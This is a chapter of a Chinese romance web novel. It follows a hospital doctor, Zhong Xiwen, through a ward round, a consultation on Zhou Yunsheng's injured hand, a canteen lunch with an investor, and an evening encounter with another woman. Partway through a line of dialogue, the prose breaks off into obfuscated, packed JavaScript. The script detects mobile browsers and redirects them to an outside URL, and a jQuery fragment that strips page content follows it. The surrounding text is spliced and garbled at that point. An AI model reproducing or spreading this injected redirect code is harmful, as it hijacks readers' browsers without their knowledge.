12. 第 12 章
作品:《今夜潮声》 来申城已经一个月,这期间依据仲家给的证据,可以百分百确定两家没有姻亲关系,周沄声不知道自己还要不要找,去哪里找所谓的亲戚。
周父名周思明,出生于1962年,被灌输的身世就是自幼被迫与母分离,至于其中的原因,他问不出来半个字。周思明从小衣食富足,在奶妈的疼爱下长大,胜似亲生,而“亲生”母亲仲明禾只是一个陌生的人名。
在台城的周思明沉默了好几天,他向来不爱动脑不爱做决定,家里的一切都是老婆说了算。
周一清晨,仲希文要带周沄声去医院,早一点去挂号就能少在医院浪费等待的时间,不耽误他下午的工作。
“一会儿我要陪科室主任查房,到了医院我爸带着你,有他在你就什么都不用操心,他们可能不会这么快告诉你怎么办,你一定不要焦虑。”
“记住了,最差也就现在这样,家里的事情基本都还可以做啦。”
他能这么说,仲希文觉得非常开心,比起刚来申城的时候他的心态好了不少,对病人来说好心态和好药、好医术一样重要。
19号床是上周五刚进来的病人,脊柱侧弯导致病人只能弯腰低头行走,严重影响生活,而且已经错过最佳干预年龄,父母最担心的准备的钱不够。
“病人脊柱侧弯Cobb角约130度,胸廓畸形,导致呼吸困难、睡眠障碍,手术难度大风险高,治疗方案我已经提交,建议做分期治疗,第一阶段是头盆环牵引术,问题是治疗疗程可能很长。”
病人父亲很着急,问:“很长是要多久,孩子等不了啊。”
仲希文:“时间多久看个人,我们之前有成功的案例,通过牵引拉伸可以缩小侧弯角度,就是说可以不像现在这么弯,他呼吸睡眠都会慢慢好起来,这样后面我们手术就能提高成功的概率,我这样说清楚吗?”
主任点头,补充说道:“就像我们爬很高的楼,一口气到不了嘛,走一段歇一段,该等必须要等,他这个病就是要慢慢治,你看孩子现在这么瘦,手术很耗气血,前面大概半年我们把身体养好。”
查完房,仲希文想先回去喝口水,被主任叫住,“上回来的那个万总,你要主动联系联系,项目抓紧推进,年底你也好汇报,人家眼里都觉得你背后有人,只有我知道你背后的人净帮倒忙了。”
仲希文不知道该哭还是该笑,“知道了主任,有您护着我就行。”
“靠实力说话,做手术你是做不过你师兄的,你得干点他干不了的。”
“知道了,谢谢主任。”
真是说曹操曹操到,万嘉莱在她办公室门口等她,旁若无人地喝着咖啡,手里还拎着个保温袋,里面是仲希文喜欢的加浓摩卡。
主任向仲希文低语:“也快到吃饭时间了,你们聊吧,当个正事聊。”
“好的主任。”也不知道周沄声那边怎么样了,没声没息的,仲希文都没什么心思招待客人,但也得硬着头皮上去,“万总您来怎么不提前通知我啊?”
“我来碰碰运气,给你带杯咖啡总是可以的吧,仲医生有空一起吃个便餐吗?”
“那个我……爸!”救星来得及时,仲希文瞬间轻松,周沄声面色从容,看上去状态不错。
“这位是?”仲辛成打量着万嘉莱,面熟,但想不起哪里见过。
“岩礐资本的万嘉莱万总,万总是想跟咱们院合作5G医疗,我们之前已经碰过面了,不过一直没机会继续推进项目。”仲希文抬起手掌指向仲辛成,“这是我们院的仲院长。”
万嘉莱欠身去握手:“仲院长,久仰久仰,叫我小万就好。”
“客气客气,也到点儿了,小周你不赶时间的话一起去食堂吃个午饭。”
“好。”
六院食堂的餐食一向不错,仲院长亲自从源头把控食材、聘选厨师,主打一个大锅饭也得拿得出手,多年下来已经是远近闻名。
仲希文不爽的是每次来得晚了就吃不上当天最硬的菜,今天是糖醋鱼和豆豉排骨,都是她爱吃的。粗粮、水果和酸奶都不能少,医护人员每天消耗大,赶得上吃的每顿饭必须要扎扎实实吃。
“阿声,你想吃什么随便拿,我来刷卡就行。”
“那个万总他……”
万嘉莱正跟仲辛成聊得火热,但时不时会朝仲希文这边看看。
“万总有我爸招呼呢,以后他可能会经常来,你今天的检查怎么样?”
“你早上都猜到了,不过他们看我片子的时候没有直摇头也没有很为难,问我自己是怎么想的,我不太敢说,仲院长替我说了,然后那位张主任,他说配合韧带重建术后我应该可以正常握拳。”
“所以你今天还算开心吗?”
“当然,还蛮期待的,我可以不像现在这样。”这么多年,周沄声第一次看自己的手不再觉得绝望,而像是看自己人生的一座丰碑,这只手曾经救过一条命。
食堂里人越来越多,休息时间有限,这帮人吃饭跟短跑比赛一样,吃完就往科室跑。
周沄声和万嘉莱对面对坐,和注意身材的万嘉莱不同,周沄声的餐盘装得满满当当,都是仲希文放的。
连仲辛成都惊讶了,笑说:“小周你的饭量能吃完?我们这可不兴浪费粮食啊。”
之前的话够呛能吃三分之一,现在可能是一半,周沄声汗颜:“我尽量吧。”
“没事,我能帮你吃完。”仲希文从他盘里戳了块大排骨往嘴里送,边吃边点头,太香了吧!
仲辛成则是直摇头,“你这孩子到哪都没个斯文样,你好歹装装呐。”
“爸,上班已经很累了好吗~”这句就有点装。
周沄声又挑了块大的夹给她,看她大口吃饭,他的食欲也能跟着涨起来。
“两位的关系是,我知道我不当问……”万嘉莱没想到自己还有怯场的时候,对面的男子话不多,表情行为也都温和,但就是有股子他搞不懂的气场压着他。
“这就复杂了,”仲辛成抢答,“这是我们家上一辈人留下的缘分,小周你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418018|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能来我们全家都很高兴,也证明先生他老人家没有忘了过往,你安心留下来把手术做了,别跟我们客气,我们是亲戚嘛。”
总结得还挺好,但仲希文不完全同意,“上一辈是上一辈的,我们有我们的缘分,首先要谢谢仲院长当年送我的门票,我就是在那次校庆晚会上认识阿声的。”
“那确实很难得,说起校庆,其实我本科是复大法学的,比仲医生晚一届,后来去了墨尔本读经济。”
“哦,那我们不是一个校区啊。”
“是啊,所以之前没有机会认识。”
周沄声不说话,只是一味吃东西,这一堆真的太多了,但不吃完会很丢人。
下午院里要考核规培生和进修医生,仲希文作为考核老师之一需要提前到场,一顿午饭也就吃了半小时,最后她一个人兜了一袋子三个男人没吃掉苹果、香蕉和酸奶回办公室,一想到周沄声吃撑了的样子她就想笑,没见过活了四百多个月还这么实在的娃。
万嘉莱的条件放到哪都是佼佼者,是为数不多能让曲清另眼相待的人,缺憾是他留在互联网上的黑点,不管那些负面新闻有几分真假,她既然看到了就不能不当回事,对谁都没心没肺。
始于颜值忠于人品,说到底她就不喜欢有心机的人--她没有的东西,她的男人更不能有,不然家庭地位她还想不想要了!
她的小徒弟边吃泡面边嗑笔记,看上去很努力,实际上是活脱脱的临时抱佛脚,仲希文拿了根香蕉给他,说:“加油,我先去准备,考最后一名的话明天不用来了。”
“仲老师,您就不能给我点正面情绪价值啊?”
“我不会啊,我一向只会外耗别人,他们都知道,你不知道吗?”
“我觉得我最需要向您学习的是这个技能,太舒坦了吧!”
仲希文一甩头发,大咧咧走出办公室,这技能是谁都敢用的吗,只有她这种不在乎有没有人喜欢和认同的勇士才能尽情发挥。
当然这不是她天生的性格,是那个活过九十岁的老太太传授给她的健康秘籍,断舍离的最高级别是减弱与周遭事物的关联性,精神上坚定不移拥护对自己的认可。
不开心的就是上班超过12小时,导致她食欲不振、睡眠不足,这就很影响她健康。
回到853号的时候马上就十点了,下车时被停在对面的商务车闪了下眼睛,大概是误打了一下远光灯。
等视野恢复清晰,仲希文看见周沄声和一个戴渔夫帽的女人挨得很近,女人的身高刚够到他下巴,她递给周沄声一只打火机,叼着烟仰头让他点……
周沄声摩挲着打火机,没有打火。
女人干脆拿下嘴上的烟,准备往周沄声嘴上放,周沄声一偏头就看到了仲希文。
多么偶像剧的桥段啊,观众竟然只有她一个,以为自己修炼多年起码表面能波澜不惊,实际上是扭头就跑,开锁时整串钥匙连同手机一起掉在地上。
周沄声:“凌总抱歉,我已经戒烟,现在要回家了。”

